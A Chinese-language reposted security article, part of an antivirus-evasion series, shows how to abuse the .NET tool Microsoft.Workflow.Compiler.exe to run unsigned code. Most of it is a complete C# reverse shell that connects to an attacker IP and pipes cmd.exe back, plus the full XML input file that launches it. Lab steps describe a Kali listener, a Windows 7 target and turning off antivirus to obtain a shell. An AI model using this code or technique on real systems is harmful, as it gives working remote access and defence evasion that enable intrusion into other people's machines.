远控免杀专题(43)-白名单Compiler.exe执行payload转载自微信公众号:Tide安全团队 作者:雨夜RainyNight
免杀能力一览表
几点说明: 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。 一、Compiler.exe介绍
Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。 Microsoft.Workflow.Comiler.exe需要两个命令行参数,第一个参数必须是一个XML文件(由一个序列化CompilerInput对象构成)的路径,第二个参数则是写入序列化编译结果的文件路径。 由于白名单加载payload的免杀测试需要结合杀软的行为检测才合理,查杀白名单文件都没有任何意义,payload文件的查杀率依赖于对payload的免杀处理,所以这里对白名单程序的免杀效果不做评判。
二、使用Compiler.exe执行payload 注意:如果Microsoft.Workflow.Compiler命令无法识别,可能是Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中。 Win7的Compiler.exe默认位置: - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe
- 攻击机kali:192.168.247.131
复制代码靶机win7(64):192.168.247.133(装有某数字杀毒) 攻击机配置监听 靶机执行,会被拦截提示可疑操作。 关闭杀毒软件再次执行或者点击允许程序执行。 MSF成功弹回shell。 - using System;
- using System.Text;
- using System.IO;
- using System.Diagnostics;
- using System.ComponentModel;
- using System.Net;
- using System.Net.Sockets;
- using System.Workflow.Activities;
- public class Program : SequentialWorkflowActivity
- {
- static StreamWriter streamWriter;
- public Program()
- {
- using(TcpClient client = new TcpClient("192.168.247.131", 10129))
- {
- using(Stream stream = client.GetStream())
- {
- using(StreamReader rdr = new StreamReader(stream))
- {
- streamWriter = new StreamWriter(stream);
- StringBuilder strInput = new StringBuilder();
- Process p = new Process();
- p.StartInfo.FileName = "cmd.exe";
- p.StartInfo.CreateNoWindow = true;
- p.StartInfo.UseShellExecute = false;
- p.StartInfo.RedirectStandardOutput = true;
- p.StartInfo.RedirectStandardInput = true;
- p.StartInfo.RedirectStandardError = true;
- p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
- p.Start();
- p.BeginOutputReadLine();
- while(true)
- {
- strInput.Append(rdr.ReadLine());
- p.StandardInput.WriteLine(strInput);
- strInput.Remove(0, strInput.Length);
- }
- }
- }
- }
- }
- private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
- {
- StringBuilder strOutput = new StringBuilder();
- if (!String.IsNullOrEmpty(outLine.Data))
- {
- try
- {
- strOutput.Append(outLine.Data);
- streamWriter.WriteLine(strOutput);
- streamWriter.Flush();
- }
- catch (Exception err) { }
- }
- }
- }
复制代码
- <?xml version="1.0" encoding="utf-8"?>
- <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
- <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
- <d2p1:string>test.tcp</d2p1:string>
- </files>
- <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
- <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
- <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
- <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
- <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
- <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
- <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
- <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
- <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
- <d2p1:checkTypes>false</d2p1:checkTypes>
- <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
- <d2p1:compilerOptions i:nil="true" />
- <d2p1:generateCCU>false</d2p1:generateCCU>
- <d2p1:languageToUse>CSharp</d2p1:languageToUse>
- <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
- <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
- <d2p1:mtInfo i:nil="true"/>
- <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
- </parameters>
- </CompilerInput>
复制代码
三、参考资料
Micro8: 《白名单Compiler.exe执行payload》: https://micro8.gitbook.io/micro8/contents-1/71-80/76-ji-yu-bai-ming-dan-compiler.exe-zhi-hang-payload-di-liu-ji
|